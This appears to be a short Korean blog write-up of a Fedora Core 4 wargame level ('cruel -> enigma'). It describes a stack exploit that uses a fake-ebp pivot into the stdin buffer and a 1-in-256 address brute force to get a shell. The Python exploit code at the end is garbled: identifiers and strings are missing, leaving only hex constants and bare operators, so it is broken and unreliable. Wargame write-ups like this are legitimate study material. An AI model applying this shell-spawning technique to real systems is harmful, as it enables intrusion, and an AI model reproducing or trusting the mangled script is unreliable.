FC4 cruel -> enigma
Jan 7, 2017
ret 영역 다음에 canary가 있다는 걸 생각하야 한다.
fake ebp를 이용해서 stdin의 임시버퍼 영역을 공략한다.
이 영역의 주소가 계속 바뀌긴 하지만 경우의 수가 겨우 256가지뿐이다.
특정한 주소로 공격하면 256분의 1의 확률로 공격에 성공할 수 있다.
난 execl을 호출해서 쉘을 따려고 했는데 계속 안됐다... execve는 되던데
아래는 익스플로잇 코드
#!/usr/bin/python
=
= 0xb7f5e000 + 260 + 4 * 2
= 0x0804858e
= 0x00031337
= 0x00832abc
= 0x008bd987
= 0x00000000
= + 4 * 7
= + 4 * 6
= * 256
= * 4
= +
+= + +
+= + + + +
+= +
+=
print
=
break
print
break